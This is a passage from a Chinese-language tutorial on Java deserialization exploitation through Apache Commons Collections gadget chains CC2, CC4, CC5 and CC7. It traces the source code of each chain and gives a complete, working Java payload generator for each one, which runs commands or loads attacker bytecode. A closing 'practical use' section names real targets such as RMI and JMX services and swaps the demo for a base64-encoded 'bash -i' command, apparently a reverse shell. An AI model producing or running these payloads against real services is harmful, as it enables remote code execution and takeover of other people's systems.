s.defaultReadObject();
s.readInt();
queue = new Object[size];
for (int i = 0; i < size; i++) {
queue[i] = s.readObject();
}
heapify();
}
反序列化时会把队列元素读出来,然后调用 heapify() 重建堆。继续往下看:
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}
private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}
private void siftDownUsingComparator(int k, E x) {
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size && comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}
关键就在 comparator.compare()。如果我们能控制这个比较器,就能在反序列化重建堆的时候触发自己的逻辑
commons-collections4 里有一个 TransformingComparator:
public class TransformingComparator<I, O> implements Comparator<I>, Serializable {
private final Transformer<? super I, ? extends O> transformer;
private final Comparator<O> decorated;
public int compare(I obj1, I obj2) {
O value1 = this.transformer.transform(obj1);
O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
}
可以看到,只要 PriorityQueue 触发比较,TransformingComparator.compare() 就会调用 transformer.transform()。
那么 cc2 的路线就是:
PriorityQueue.readObject()
-> heapify()
-> siftDownUsingComparator()
-> comparator.compare()
-> TransformingComparator.compare()
-> InvokerTransformer.transform()
-> templates.newTransformer()
-> TemplatesImpl 动态加载字节码
这里的 InvokerTransformer 不再调用 Runtime.exec(),而是调用 TemplatesImpl 的 newTransformer():
new InvokerTransformer("newTransformer", new Class[0], new Object[0]).transform(templates);
不过本地构造 PriorityQueue 时,queue.add() 也会触发排序,如果一开始就放真 payload,就会在序列化前提前执行。所以和 cc6 一样,先放一个假的无害方法,等队列构造完再反射替换。
完整 payload:
// CC2.java,依赖 commons-collections4-4.0.jar
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class CC2 {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
} // 快捷操作不用费劲写多次反射
public static TemplatesImpl getTemplates() throws Exception {
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "uky");
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
byte[] bytecodes = Files.readAllBytes(Paths.get("D://!files/whoami/java/out/production/whoami/hack.class"));
setFieldValue(templates, "_bytecodes", new byte[][]{bytecodes});
return templates;
}
public static void main(String[] args) throws Exception {
TemplatesImpl templates = getTemplates();
// 先用 toString 占位,防止 add 的时候提前触发 newTransformer
Transformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
TransformingComparator comparator = new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(1);
queue.add(2);
// 替换队列里的真实元素为 templates
setFieldValue(queue, "queue", new Object[]{templates, templates});
// 替换真正要调用的方法
setFieldValue(transformer, "iMethodName", "newTransformer");
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc2.bin"));
oos.writeObject(queue);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc2.bin"));
ois.readObject();
ois.close();
}
}
这条链的重点不是 PriorityQueue 本身危险,而是它反序列化时要恢复堆结构,只要恢复堆结构就要比较,只要比较器可控,就能把比较动作替换成一次 transform()
CC4链
commons-collections4 4.0,常见利用路线:PriorityQueue + TransformingComparator + ChainedTransformer + InstantiateTransformer + TrAXFilter + TemplatesImpl
cc4 和 cc2 的外层几乎一样,都是用 PriorityQueue.readObject() 触发 TransformingComparator.compare()。区别在于 cc2 直接用 InvokerTransformer 调 templates.newTransformer(),而 cc4 复用了 cc3 的这段:
ConstantTransformer(TrAXFilter.class)
-> InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
-> new TrAXFilter(templates)
-> templates.newTransformer()
也就是说 cc4 的路线是:
PriorityQueue.readObject()
-> heapify()
-> TransformingComparator.compare()
-> ChainedTransformer.transform()
-> ConstantTransformer 返回 TrAXFilter.class
-> InstantiateTransformer 实例化 TrAXFilter
-> TrAXFilter 构造方法调用 templates.newTransformer()
-> TemplatesImpl 动态加载字节码
构造时仍然要注意提前触发的问题。PriorityQueue.add() 的时候会比较元素,所以先让 ConstantTransformer 返回 String.class,再让 InstantiateTransformer 执行 new String("uky"),这是无害的。队列构造完成后,再把它们反射改成 TrAXFilter.class 和 templates
完整 payload:
// CC4.java,依赖 commons-collections4-4.0.jar
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class CC4 {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static TemplatesImpl getTemplates() throws Exception {
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "uky");
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
byte[] bytecodes = Files.readAllBytes(Paths.get("D://!files/whoami/java/out/production/whoami/hack.class"));
setFieldValue(templates, "_bytecodes", new byte[][]{bytecodes});
return templates;
}
public static void main(String[] args) throws Exception {
TemplatesImpl templates = getTemplates();
ConstantTransformer constantTransformer = new ConstantTransformer(String.class);
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(
new Class[]{String.class},
new Object[]{"uky"}
);
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
constantTransformer,
instantiateTransformer
});
TransformingComparator comparator = new TransformingComparator(chainedTransformer);
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(1);
queue.add(2);
// 本地构造完成后再替换为真正 payload
setFieldValue(queue, "queue", new Object[]{templates, templates});
setFieldValue(constantTransformer, "iConstant", TrAXFilter.class);
setFieldValue(instantiateTransformer, "iParamTypes", new Class[]{Templates.class});
setFieldValue(instantiateTransformer, "iArgs", new Object[]{templates});
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc4.bin"));
oos.writeObject(queue);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc4.bin"));
ois.readObject();
ois.close();
}
}
cc2 和 cc4 对比一下就很明显:
cc2:PriorityQueue -> TransformingComparator -> InvokerTransformer("newTransformer") -> TemplatesImpl
cc4:PriorityQueue -> TransformingComparator -> InstantiateTransformer(new TrAXFilter) -> TemplatesImpl
它们的入口一样,sink 也都是 TemplatesImpl,只是中间替换方法不同。
CC5链
commons-collections 3.1 - 3.2.1,常见利用路线:BadAttributeValueExpException + TiedMapEntry + LazyMap
cc5 又回到 commons-collections3 了。它的核心还是 LazyMap.get(),所以后半段和 cc6 很像:
TiedMapEntry.getValue()
-> LazyMap.get(key)
-> ChainedTransformer.transform(key)
区别在于 cc6 用 HashMap.readObject() 触发 TiedMapEntry.hashCode(),cc5 用的是 BadAttributeValueExpException.readObject() 触发 TiedMapEntry.toString()。
先看 BadAttributeValueExpException 的 readObject():
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);
if (valObj == null) {
val = null;
} else {
val = valObj.toString();
}
}
这里最关键的是:valObj.toString()。如果我们能把 val 字段换成一个恶意对象,那么反序列化时就会自动调用这个对象的 toString()。
再看 TiedMapEntry.toString():
public String toString() {
return this.getKey() + "=" + this.getValue();
}
public Object getValue() {
return this.map.get(this.key);
}
只要 toString() 被调用,就会调用 getValue(),然后进入 LazyMap.get()。所以 cc5 的路线就是:
BadAttributeValueExpException.readObject()
-> valObj.toString()
-> TiedMapEntry.toString()
-> TiedMapEntry.getValue()
-> LazyMap.get(key)
-> ChainedTransformer.transform(key)
-> Runtime.exec()
完整 payload:
// CC5.java,依赖 commons-collections-3.2.1.jar
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CC5 {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
// 先放假链,避免本地构造时触发
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{new ConstantTransformer(1)});
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key");
BadAttributeValueExpException payload = new BadAttributeValueExpException(null);
setFieldValue(payload, "val", tiedMapEntry);
lazyMap.remove("key");
setFieldValue(chainedTransformer, "iTransformers", transformers);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc5.bin"));
oos.writeObject(payload);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc5.bin"));
ois.readObject();
ois.close();
}
}
cc5 这条链比较好理解:它就是把“反序列化时自动调用 toString()”这件事,转换成 TiedMapEntry.getValue(),再转换成 LazyMap.get()。
不过这条链对 JDK 版本比较敏感,后续 JDK 对 BadAttributeValueExpException.readObject() 做过限制,有些版本不会再无条件调用任意对象的 toString()。
CC7链
commons-collections 3.1 - 3.2.1,常见利用路线:Hashtable + LazyMap 哈希碰撞
cc7 的后半段还是 LazyMap.get(),但是入口换成了 Hashtable.readObject()。
先看 Hashtable.readObject() 里恢复元素的逻辑,它会调用 reconstitutionPut():
private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
throws StreamCorruptedException {
int hash = key.hashCode();
int index = (hash & 0x7FFFFFFF) % tab.length;
for (Entry<?,?> e = tab[index]; e != null; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) {
throw new java.io.StreamCorruptedException();
}
}
tab[index] = new Entry<>(hash, key, value, tab[index]);
}
关键在这里:
e.key.equals(key)
也就是说,只要两个 key 的 hash 相同,Hashtable 在反序列化恢复哈希表时就会调用 equals() 判断它们是不是同一个 key。
那么我们就需要两个 hash 相同的 key。Java 里经典的字符串碰撞是:
"yy".hashCode() == "zZ".hashCode()
再看 LazyMap 的父类 AbstractMapDecorator.equals():
public boolean equals(Object object) {
if (object == this) {
return true;
}
return map.equals(object);
}
它会把 equals() 转给内部的 map。而 HashMap.equals() 在比较两个 map 时,会拿一个 map 的 key 去另一个 map 里 get():
public boolean equals(Object o) {
if (o == this)
return true;
if (!(o instanceof Map))
return false;
Map<?,?> m = (Map<?,?>) o;
if (m.size() != size())
return false;
for (Entry<K,V> e : entrySet()) {
K key = e.getKey();
V value = e.getValue();
if (value == null) {
if (!(m.get(key) == null && m.containsKey(key)))
return false;
} else {
if (!value.equals(m.get(key)))
return false;
}
}
return true;
}
如果 m 是 LazyMap,这里的 m.get(key) 就会进入 LazyMap.get(),只要这个 key 不存在,就会触发 factory.transform(key)。
所以 cc7 的路线是:
Hashtable.readObject()
-> reconstitutionPut()
-> e.key.equals(key)
-> LazyMap.equals()
-> HashMap.equals()
-> 另一个 LazyMap.get(不存在的 key)
-> ChainedTransformer.transform()
-> Runtime.exec()
构造时需要两个 LazyMap,分别放入会产生 hash 碰撞的 key:
lazyMap1.put("yy", 1);
lazyMap2.put("zZ", 1);
本地 hashtable.put() 第二个 map 时会提前触发一次 equals(),所以同样先用假链。提前触发后,lazyMap2 会被缓存进一个 yy,所以序列化前要把它删掉:
lazyMap2.remove("yy");
完整 payload:
// CC7.java,依赖 commons-collections-3.2.1.jar
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class CC7 {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{new ConstantTransformer(1)});
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
Map lazyMap1 = LazyMap.decorate(innerMap1, chainedTransformer);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(innerMap2, chainedTransformer);
lazyMap2.put("zZ", 1);
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);
// hashtable.put(lazyMap2, 2) 时会提前触发一次 equals,并在 lazyMap2 里缓存 yy
// 删除 yy,确保反序列化时 LazyMap.get("yy") 仍然走 transform
lazyMap2.remove("yy");
setFieldValue(chainedTransformer, "iTransformers", transformers);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc7.bin"));
oos.writeObject(hashtable);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc7.bin"));
ois.readObject();
ois.close();
}
}
cc7 和 cc6 一样都用了 LazyMap.get(),但是 cc6 是:
HashMap.readObject() -> TiedMapEntry.hashCode() -> LazyMap.get()
cc7 是:
Hashtable.readObject() -> LazyMap.equals() -> HashMap.equals() -> LazyMap.get()
四条链对比
最后把这四条链合起来看:
CC2:
PriorityQueue.readObject()
-> TransformingComparator.compare()
-> InvokerTransformer.transform()
-> TemplatesImpl.newTransformer()
CC4:
PriorityQueue.readObject()
-> TransformingComparator.compare()
-> ChainedTransformer.transform()
-> InstantiateTransformer.transform()
-> new TrAXFilter(templates)
-> TemplatesImpl.newTransformer()
CC5:
BadAttributeValueExpException.readObject()
-> TiedMapEntry.toString()
-> TiedMapEntry.getValue()
-> LazyMap.get()
-> ChainedTransformer.transform()
CC7:
Hashtable.readObject()
-> LazyMap.equals()
-> HashMap.equals()
-> LazyMap.get()
-> ChainedTransformer.transform()
这四条其实可以分成两组:
cc2 / cc4:靠 PriorityQueue 反序列化重建堆时触发 comparator.compare()
cc5 / cc7:靠不同 JDK 类的 readObject() 绕到 LazyMap.get()
所以后面遇到新的链子也可以按这个方式拆:先找 readObject() 入口,再找它会不会自动调用 compare()、hashCode()、equals()、toString() 这种魔术方法,最后把这些方法继续替换到 transform() 或 newTransformer() 上。
实战用法
先寻找反序列化入口,如果有序列化特征码多用 base64 包装一下,Java 原生序列化一般以 rO0AB 开头。
常见的服务端口:RMI 服务(默认端口 1099)、JMX 服务等
我们通过上面的 payload 构造了一个 cc3 链的利用对象,最后拿到的是 cc3.bin 这段序列化数据。实战里只需要把 hack.java 里的静态代码块换成真正要执行的逻辑,再把生成出的序列化数据传给反序列化入口即可。
例如把弹计算器换成命令执行:
static {
try {
String cmd = "bash -c {echo,YmFzaCAtaSA...}|{base64,-d}|{bash,-i}";
Runtime.getRuntime().exec(cmd);
} catch (Exception e) {
e.printStackTrace();
}
}
